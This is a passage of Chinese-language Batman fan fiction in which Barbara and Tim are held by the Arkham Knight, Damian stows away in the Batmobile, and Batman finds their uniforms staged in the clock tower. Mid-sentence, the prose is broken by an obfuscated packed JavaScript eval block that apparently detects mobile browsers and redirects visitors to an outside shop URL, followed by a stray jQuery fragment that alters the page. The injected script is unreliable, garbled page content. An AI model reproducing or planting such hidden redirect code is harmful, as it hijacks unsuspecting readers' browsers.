“……芭芭拉！”


    “芭芭拉！！”


    芭芭拉从昏迷中朦朦胧胧地醒来，耳畔似乎还残留着细微的呼唤回音，又或者是意识深处残留的警觉。她感到头部的钝痛，视线模糊了片刻才逐渐清晰。


    她发现自己身处一个泛着幽蓝冷光的地下室，被拘束在一张金属治疗床上，双手手腕被金属环铐在床架两侧侧。她的外套、通讯器和大部分道具也被收走了，只有贴身藏着的一些小工具还在，这让她稍微松了口气。


    她迅速环顾四周，目光立刻锁定了对面同样被束缚在床上的提姆。他看起来脸色有些苍白，但眼神清醒，正关切地看着她。


    “提姆？”芭芭拉的声音有些沙哑，她清了清嗓子，“你没事吧？”


    “没有……至少暂时没有。”提姆摇了摇头，脸上带着歉意和焦虑，“抱歉，芭芭拉，我错判了形势……是我连累了你。”


    “别这样说，提姆，”芭芭拉试图活动一下手腕，金属环发出轻微的响声，“是敌人想要暗算我们，他们总会这样做。”她眼神中闪过一丝锐利，“我在离开工作室前启动了一个警报系统。如果我在一小时内没有回去手动取消，它会在倒计时结束后自动向蝙蝠洞发送警报和我的最后坐标。算算时间，布鲁斯现在应该已经收到了。”


    提姆的脸色却瞬间变得苍白：“不，芭芭拉！骑士的目的就是蝙蝠侠！他故意把我们绑在这里，用我们做诱饵，就是为了把蝙蝠侠引过来！这是一个陷阱！”


    芭芭拉看到提姆如此急切，强迫自己冷静下来，用平稳的语气安慰道：“提姆，冷静点。布鲁斯不是第一天当蝙蝠侠了。他收到警报，自然会意识到情况异常，他会做好万全准备才来。阿卡姆骑士想埋伏他没那么容易。现在，我们需要弄清楚状况，然后想办法脱困。告诉我，在我来之前，发生了什么？”


    提姆深吸一口气，强迫自己集中精神，用最简练的语言将之前与骑士的对话快速分享给了芭芭拉。


    芭芭拉听着，眉头越锁越紧。


    “所以，他的目标从未改变，就是布鲁斯……”她的大脑飞速运转着，“我们必须尽快脱困。你身上还有什么工具吗？骑士把我外套和腰带都拿走了，但……”她微微动了动被铐住的右手，手铐有一段短短的链条，让她的手还有一点活动空间。


    芭芭拉费力地用手指去够自己腰间的暗袋，短短的锁链被绷紧到了极致，冷硬的金属扣环在她白皙的皮肤上刮下一层表皮，留下大片红痕。


    “我贴身藏的一些应急小东西还在……”芭芭拉费力地说着，“看来这位骑士先生，在搜身方面还算有风度。”


    提姆眼中燃起希望：“靠你了，芭芭拉。我这边被搜得很彻底，连衣服都换掉了。”


    “我在试。”芭芭拉开始小心翼翼地调整方向，试图一次成功，“别担心，提姆，我们会脱困的，我们可是师从蝙蝠侠。”


    提姆看着芭芭拉努力的动作，低声道：“我知道，芭芭拉，我知道……那可是蝙蝠侠。”


    在两只小鸟奋力拆笼子的时候，蝙蝠侠正在努力寻找丢失的危险物品——刺客联盟少主，蝙蝠侠之子、动物之友——达米安。


    “……也许达米安少爷只是在庄园冒险，这个年纪的男孩一向精力充沛。”阿尔弗雷德端着咖啡来到正在查监控的蝙蝠侠身边，“等他满足了自己的探索欲，他就会回到您身边的。”


    “他不是普通的孩子，阿福。”蝙蝠面色凝重，显得有几分心烦意乱，“他很危险。”


    “但依旧是个孩子。”阿福将咖啡放下，站在蝙蝠侠身边，仿佛成了蝙蝠侠的依靠，“就像老爷您曾经一样。”


    “但愿……”蝙蝠侠叹了口，“我不知道要怎么教导他，阿福，他完全是刺客联盟的做派，我怀疑我不得不有一天要把他关进黑门，而这一天不会太远。”


    阿福拍了拍蝙蝠侠的肩膀：“我觉得那一天不会到来。有您这样的父亲作为标杆，孩子们不会偏离道路的，老爷，您得有点信念……唔，您小时候每次让我无法维持绅士风度的时候，我都是这么安慰自己的。”


    蝙蝠侠：“……”


    蝙蝠侠：“我没有过这种时候。”


    阿福：“好吧，老爷，你说了算。”


    正当两人享受难得的轻松时，刺耳的警报撕裂了蝙蝠洞的宁静。


    蝙蝠侠几乎是瞬间就冲到了主控台前，屏幕上闪烁着来着蝙蝠少女的红色警报，警报还附上了芭芭拉的定位信号。


    定位显示此时芭芭拉应该正在钟楼信息中心，而提姆的定位也在那。


    蝙蝠侠的心沉了下去。他立刻尝试连接芭芭拉和提姆的所有通讯频道，无一应答，只有空洞的忙音。


    “老爷，”阿尔弗雷德的声音从身后传来，带着明显的忧虑，“这看起来像个陷阱。”


    “我知道，阿福。”蝙蝠侠的声音低沉，手指已在快速准备装备，动作没有丝毫犹豫，“但提姆和芭芭拉可能陷入了危险。”


    阿尔弗雷德沉默了一瞬，随即恢复了专业管家的镇定：“有什么能为您效劳的吗，老爷？”


    蝙蝠侠将最后一个蝙蝠镖插入腰带，转过身，面罩下的目光锐利如常：“当然。帮我打个电话，阿福。”


    “是我想的那位吗？”阿福挑挑眉，似乎安定了下来。


    “是的，”蝙蝠侠道，“我们需要帮助。”


    阿福欠了欠身：“明白，老爷。愿您一切小心。”


    蝙蝠侠跳入蝙蝠车，立刻启动车辆，如同一道漆黑的闪电穿梭在哥谭的大街小巷，以最快的速度驶向神谕钟楼。


    “计划是什么？”一道还带着稚嫩的嗓音在蝙蝠车内响起。


    “什么……！”


    突如其来的声音让蝙蝠侠有一瞬间的紧绷，这一微小动作让高速行驶的蝙蝠车出现了一个小幅度的摇摆。


    面具都无法阻挡蝙蝠侠目光中的震惊：“达米安？！你为什么在车上？！”


    达米安自顾自从后排空隙中爬到副驾驶坐好：“德雷克临阵脱逃，我来接手他的工作。”


    蝙蝠侠毫不留情地拒绝了：“你不能。”


    达米安无所畏惧地对上蝙蝠侠不赞同的目光：“我接受过系统的训练。罗宾而已，我能做的很好。”


    “NO！”蝙蝠侠没有丝毫妥协，“你根本不知道罗宾象征着什么，又需要做到什么。你无法胜任这个工作。”


    “让我试试。”达米安坚持，“然后您就能知道我才是最好的。”


    “NO!”蝙蝠侠不再说话，他还忧心着芭芭拉和提姆，实在没有心情和达米安拉扯，于是快速在仪表盘上按下几个键。


    当啷一声。


    副驾驶立刻弹出几个金属卡扣，将达米安牢牢扣在椅子上。


    “父亲！”达米安显得十分愤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807762|183424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怒。


    蝙蝠侠一个急刹，在隐蔽处停住蝙蝠车，对达米安严厉命令道：“待在这！”


    “没门！”达米安大声反抗。


    但这毫无用处。


    蝙蝠侠完全无视了达米安的抗议，他跳下车，独自向定位信号的位置潜行。


    ————————


    钟楼没有任何被强行闯入的痕迹，安全协议正常运转，防御系统也一如既往工作着。


    这让蝙蝠侠更加不安，他犹豫片刻绕开了常规入口和可能被监视的路径，从钟楼通风管道无声潜了进去。


    钟楼内部一片死寂，只有机器设备低沉的运行声，芭芭拉喜欢的零食和杂志堆放在置物架上，开了封的酸味软糖放在边沿，几颗糖顺着包装袋口的倾斜散落在地上……


    时间凝固在芭芭拉离开的前一刻，仿佛这里的主人只是临时离开，随时都会回来。


    蝙蝠侠警惕地移动，每一步都踩在阴影与盲区之中。当他终于踏入主工作区时，唯一的光源来自并未完全休眠的主控电脑屏幕。幽幽的蓝白冷光，只照亮了前方一小片区域，却足以让蝙蝠侠看清那里的景象。


    两个人影。


    一个坐在电脑椅上，背对着他。另一个，站在椅子旁，微微侧身。


    罗宾？！


    蝙蝠侠一眼认出了站着的人影胸口反射出光芒的罗宾标志。


    不，那不是活人身体的轮廓，那是填充物撑起的僵硬线条。


    是制服。


    罗宾的制服，被套在了一个粗糙的人台上。


    坐在椅子上的也同样是个塑料模型，套着蝙蝠少女的制服。


    两具没有生命的模型，被精心摆放在这幽暗的光源下，如同一对被刻意炫耀的展品。


    强压下越来越沉重的不祥预感，蝙蝠侠如同靠近捕兽夹的黑豹，以最谨慎的步伐一点点靠近。每一步都像踩在冰层上，耳中只有自己放大到极致的心跳和呼吸声。


    距离拉近，细节无可逃避地呈现。


    两套制服都穿着得一丝不苟，甚至模仿了主人穿着时的细微褶皱。而在两套制服的心口位置，各被一枚寒光闪闪的蝙蝠镖钉入。每枚蝙蝠镖下，都插着一张白色便签纸，利刃深深潜入填充物。


    蝙蝠侠就着电脑的幽光查看两张便签，那上面显示了一串字符，看起来似乎是个网址。


    而更让蝙蝠侠忧心的是，罗宾的制服衣袖内侧还沾着血迹——那是提姆和达米安冲突时留下的伤痕。


    毫无疑问，这是从罗宾身上拿到的战利品。


    没有任何侥幸的余地，罗宾和蝙蝠少女已经落入了对方的手中。


    蝙蝠侠绷紧了下颌线，手指快速在电脑键盘上舞动，输入网址。


    屏幕亮起，分割成两个实时监控画面。


    芭芭拉和提姆一左一右，在两个监控屏幕中显露出身影。


    他们都被绑在了一张金属椅子上，头低垂着，一动不动，不知道是昏迷了还是……


    “Trick or Treat？”


    声音自身后极近处响起，平静，冰冷，毫无预兆。


    蝙蝠侠没有任何意外，他以最小幅度的动作缓缓回过头。


    阿卡姆骑士就站在他身后几步远的地方，仿佛一直与阴影融为一体。


    “喜欢我为你准备的复古小惊喜吗？”骑士似乎笑了一下，“经典题型，二选一。”